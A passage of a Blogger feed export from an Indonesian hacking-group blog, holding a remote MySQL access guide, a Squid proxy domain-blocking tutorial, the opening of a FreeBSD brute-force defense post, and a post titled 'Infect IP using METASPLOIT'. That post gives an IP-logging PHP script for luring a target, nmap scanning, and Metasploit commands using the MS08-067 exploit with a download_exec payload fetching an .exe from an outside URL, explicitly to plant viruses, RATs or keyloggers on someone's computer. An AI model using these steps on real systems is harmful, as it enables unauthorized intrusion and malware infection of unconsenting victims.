background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;pass in on $ext_if proto tcp from any to any port 3306&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;ATAU membolehkan akses hanya dari web server Anda berlokasi di 10.5.1.3:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;pass in on $ext_if proto tcp from 10.5.1.3 to any port 3306&amp;nbsp;&amp;nbsp;flags S/SA synproxy state&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Langkah # 7: Ujilah&lt;br /&gt;&lt;br /&gt;Dari sistem remote desktop Anda atau ketik perintah berikut:&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;$ mysql -u webadmin –h 65.55.55.2 –p&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;Dimana,&lt;br /&gt;&lt;br /&gt;-U webadmin: webadmin adalah username dari MYSQL&lt;br /&gt;-H IP atau nama host: MySQL server 65.55.55.2 adalah alamat IP atau nama host (FQDN)&lt;br /&gt;-P: Prompt untuk password&lt;br /&gt;Anda juga dapat menggunakan telnet untuk terhubung ke port 3306 untuk tujuan pengujian:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;$ telnet 65.55.55.2 3306&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;gimana ??? bener 7 langkah kan ???&lt;br /&gt;huaamamamamma,,, ngantuk ne,, udah dulu ya,,,&lt;br /&gt;see you...&lt;br /&gt;&lt;br /&gt;thanks to :&lt;br /&gt;# allah swt&lt;br /&gt;# my mather&lt;br /&gt;# junia astri damayanti &amp;lt; my lovely yang setia &amp;gt;&lt;br /&gt;# all Devilzcoder member n crew&lt;br /&gt;# el n4cko, aaezha, ramiaji, antitos, n all my friend,,,&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-9157612180383424614?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/9157612180383424614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/7-langkah-remote-mysql-database-server.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/9157612180383424614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/9157612180383424614'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/7-langkah-remote-mysql-database-server.html' title='7 Langkah remote MySQL database server : Liyan oz'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-5410987773134408033</id><published>2011-01-05T13:00:00.002+07:00</published><updated>2011-01-05T13:27:36.372+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/cracking'/><title type='text'>DC &gt;&gt; Blocking Domain/Application : squid proxy</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;table border="0" cellpadding="5" cellspacing="0" class="tborder" id="post_45658" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-left-radius: 7px 7px; border-bottom-right-radius: 7px 7px; border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-left-radius: 7px 7px; border-top-right-radius: 7px 7px; border-top-style: solid; border-top-width: 1px; color: black; font-size: 13px; margin-bottom: 5px; margin-left: auto; margin-right: auto; margin-top: auto; padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px; width: 1127px;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="trow2 post_content " style="background-attachment: initial; background-clip: initial; background-color: #efefef; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: initial; border-left-style: initial; border-left-width: 0px; border-right-color: initial; border-right-style: initial; border-right-width: 0px; border-top-color: rgb(255, 255, 255); border-top-style: solid; border-top-width: 1px; padding-bottom: 5px; padding-left: 10px; padding-right: 10px; padding-top: 5px;"&gt;&lt;span class="smalltext" style="font-size: 11px;"&gt;&lt;strong&gt;Blocking Domain/Application With Squid Proxy&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="post_body" id="pid_45658" style="padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;cite style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; display: block; font-style: normal; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Quote:&lt;/cite&gt;kadang kesel juga ngeliat aplikasi2 ga berguna didownload&lt;/blockquote&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;otomatis di pc client kaya 4shareddesktop dkk,&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;gimana sih cara ngakalinnya? biar aplikasi tersebu&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;t di block dari jaringan kita, terus sama blocking&lt;/blockquote&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt; domain Facebook poker, tetapi domain utama ga ke block&lt;/blockquote&gt;&lt;br /&gt;1.buat file devilzc0deurl.acl yang isinya path path domain2 yg mau di block&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;###########################################&lt;br /&gt;#&amp;nbsp;&amp;nbsp;Filename : devilzc0deurl.acl&lt;br /&gt;###########################################&lt;br /&gt;&lt;br /&gt;http://apps.facebook.com/texas_holdem/&lt;br /&gt;&lt;br /&gt;http://statics.poker.static.zynga.com/poker/&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;2. Bikin file devilzc0defile.acl pada direktori /etc/squid yang&lt;br /&gt;berisi filetype atau file dengan nama tertentu yang di block&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;###########################################&lt;br /&gt;#&amp;nbsp;&amp;nbsp;Filename : devilzc0defile.acl&lt;br /&gt;###########################################&lt;br /&gt;4shared_Desktop_3.1.0.exe&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;3. Buka squid.conf dan tambahkan baris berikut&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;acl devilzc0deurl url_regex -i "/etc/squid/devilzc0deurl.acl"&lt;br /&gt;acl devilzc0defile urlpath_regex -i "/etc/squid/devilzc0defile.acl"&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;terus tambahin baris ini sembelum allow client&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;http_access deny devilzc0deurl&lt;br /&gt;http_access deny devilzc0defile&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="post_meta" id="post_meta_45658"&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="trow1 post_buttons " style="background-attachment: initial; background-clip: initial; background-color: whitesmoke; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: initial; border-left-style: initial; border-left-width: 0px; border-right-color: initial; border-right-style: initial; border-right-width: 0px; border-top-color: rgb(255, 255, 255); border-top-style: solid; border-top-width: 1px; padding-bottom: 0px; padding-left: 3px; padding-right: 3px; padding-top: 3px;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-5410987773134408033?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/5410987773134408033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/dc-blocking-domainapplication-squid.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/5410987773134408033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/5410987773134408033'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/dc-blocking-domainapplication-squid.html' title='DC &gt;&gt; Blocking Domain/Application : squid proxy'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-865224362623204914</id><published>2010-12-31T22:40:00.000+07:00</published><updated>2010-12-31T22:40:58.925+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/cracking'/><title type='text'>Infect IP using METASPLOIT</title><content type='html'>&lt;span class="Apple-style-span" style="color: #777777; font-family: Tahoma, Calibri, Verdana, Geneva, sans-serif; font-size: 11px;"&gt;waduh baru kaku juga tangan ne ga nulis...sekarang bakal update lagi ne o2nri2nya,,,ok lanjut...&lt;br /&gt;&lt;br /&gt;ni tutorial ngebahas tentang gimana cara nya kita nginfect ip seseorang lewat metasploit jadi dengan gitu kita memasang program , virus,worm,RAT,keylogger atau apa aja terserah anda,&lt;br /&gt;&lt;br /&gt;ok lanjut&lt;br /&gt;&lt;br /&gt;di sini kita membutuhkan dua tool yg mungkin kalian semua udah pada g asing lagi lah ama tool ini&lt;br /&gt;yaitu&lt;br /&gt;METASPLOIT&lt;br /&gt;NMAP&lt;br /&gt;&lt;br /&gt;hal yg paling pertama kita lakukan tentu saja mencari target&lt;br /&gt;yah kalo target nya dalam jaringan lokal kalian bisa menggunakan berbagai tool ip scanner kan itu sih gampang, ,,&lt;br /&gt;nah kalo pngen tau ip orang di internet gimana ?&lt;br /&gt;&lt;br /&gt;nih cuman ngasih pencerahan dikit&lt;br /&gt;kita bkin dlu suatu script php untuk menangkap ip adress dari pengunjung yg membuka script itu&lt;br /&gt;&lt;br /&gt;nih script nya&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;div class="bbcode_container" style="display: block; margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div class="bbcode_description" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Code:&lt;/div&gt;&lt;pre class="bbcode_code" style="background-attachment: initial; background-clip: initial; background-color: #f2f6f8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: repeat no-repeat; border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; direction: ltr; font-family: monospace; font-size: 12px; height: 176px; line-height: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: scroll; overflow-y: scroll; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left;"&gt;&amp;lt;?&lt;br /&gt;&lt;br /&gt;$file = "ip.txt";&lt;br /&gt;&lt;br /&gt;$ip = $_SERVER['REMOTE_ADDR'];&lt;br /&gt;&lt;br /&gt;$handle = fopen($file, 'a'); &lt;br /&gt;&lt;br /&gt;fwrite($handle, "IP Address: ");&lt;br /&gt;fwrite($handle, "$ip");&lt;br /&gt;fwrite($handle, "\n");&lt;br /&gt;&lt;br /&gt;fclose($handle);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;abis itu kalian upload di webhost gratisan terus suruh target buat buka tuh link&lt;br /&gt;&lt;br /&gt;ok lanjut kalo dah dapet ip kita lanjut buka metasploit&lt;br /&gt;&lt;br /&gt;1. sebelum nya kita harus membuat dulu database dengan cara&lt;br /&gt;ketik&amp;nbsp;&lt;span style="color: red;"&gt;db_create&lt;/span&gt;&amp;nbsp;pada metasploit&lt;br /&gt;&lt;br /&gt;2. lalu kta scan ip target menggunakan nmap dengan cara ketik&amp;nbsp;&lt;span style="color: red;"&gt;nmap&lt;/span&gt;&amp;nbsp;pada metasploit lalu ketik&amp;nbsp;&lt;span style="color: red;"&gt;nmap -sT -sV target ip&lt;/span&gt;&lt;br /&gt;telah scanning beres nanti kita akan mendapatkan beberapa informasi, bila di dalam nya ada informasi berkaitan dengan windows 2000,(xp sp1,sp2,sp3) berarti kita bisa menginfect ip tersebut tanpa masalah&lt;br /&gt;3. dalam metasploit ketik&amp;nbsp;&lt;span style="color: red;"&gt;use windows/smb/ms08_067_netapi&lt;/span&gt;&lt;br /&gt;lalu ketik '&lt;span style="color: red;"&gt;set target 0&lt;/span&gt;'&lt;br /&gt;'&lt;span style="color: red;"&gt;show payloads&lt;/span&gt;'&lt;br /&gt;'&lt;span style="color: red;"&gt;set payload windows/download_exec&lt;/span&gt;'&lt;br /&gt;&lt;span style="color: red;"&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;set RHOST target IP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;nah setelah itu disini bagian terpenting nya program apa yg ingin kita infect ke ip(komputer) tersebut.&lt;br /&gt;apa kah kita akan menginfeksikan suatu virus,worm,RAT,keylogger,atau apa saja terserah anda&lt;br /&gt;&lt;br /&gt;kita ketik&amp;nbsp;&lt;span style="color: red;"&gt;set url&amp;nbsp;&lt;a href="http://forum.tecon-crew.org/redirector.php?url=http%3A%2F%2Fwww.site.com%2Fxxx.exe" rel="nofollow" style="color: #38659d; text-decoration: none;" target="_blank"&gt;http://www.site.com/xxx.exe&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;dan akhir nya kita ketik&amp;nbsp;&lt;span style="color: red;"&gt;exploit&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-865224362623204914?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/865224362623204914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/infect-ip-using-metasploit.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/865224362623204914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/865224362623204914'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/infect-ip-using-metasploit.html' title='Infect IP using METASPLOIT'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-4254354207541623091</id><published>2010-12-31T22:37:00.002+07:00</published><updated>2010-12-31T22:37:36.340+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/cracking'/><title type='text'>Tangkis serangan brute force di freebsd ( UNIX )</title><content type='html'>&lt;span class="Apple-style-span" style="color: #777777; font-family: Tahoma, Calibri, Verdana, Geneva, sans-serif; font-size: 11px; line-height: 13px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="block blogbit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: none; background-origin: initial; background-position: initial initial; background-repeat: initial initial; clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="float: right; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div class="blogbody postcontainer" id="yui-gen0" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div id="entry_text_4" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;blockquote class="blogcontent restore floatcontainer" style="color: #777777; display: block; font-weight: normal; font: normal normal normal 11px/normal Tahoma, Calibri, Verdana, Geneva, sans-serif; margin-bottom: 8px; margin-left: 0px; margin-right: 0px; margin-top: 8px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman';"&gt;&lt;span style="color: #555555;"&gt;&lt;span style="font-family: Verdana;"&gt;&lt;div align="left" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a class="highslide" href="http://zeestuff.files.wordpress.com/2010/11/bruteblock_1.png?w=360&amp;amp;amp;h=217" style="color: #38659d; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;"&gt;&lt;img alt="" border="0" src="http://zeestuff.files.wordpress.com/2010/11/bruteblock_1.png?w=360&amp;amp;amp;h=217" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; cursor: url(http://forum.tecon-crew.org/highslide/graphics/zoomin.cur), pointer !important; max-width: 800px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Serangan bruteforce ke service ssh dan ftp memang bikin gondok. Hasil iseng ngebrowse membawa gw ketemu tools yang menarik dan lumayan mudah penggunaannya&amp;nbsp;&lt;a href="http://forum.tecon-crew.org/redirector.php?url=http%3A%2F%2Fs1.wp.com%2Fwp-includes%2Fimages%2Fsmilies%2Ficon_razz.gif%3Fm%3D1129645325g" rel="nofollow" style="color: #38659d; text-decoration: none;" target="_blank"&gt;&lt;/a&gt;&lt;a class="highslide" href="http://s1.wp.com/wp-includes/images/smilies/icon_razz.gif?m=1129645325g" style="color: #38659d; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;"&gt;&lt;/a&gt;&lt;a class="highslide" href="http://s1.wp.com/wp-includes/images/smilies/icon_razz.gif?m=1129645325g" style="color: #38659d; outline-color: initial; outline-style: none; outline-width: initial; text-decoration: none;"&gt;&lt;img alt="" border="0" 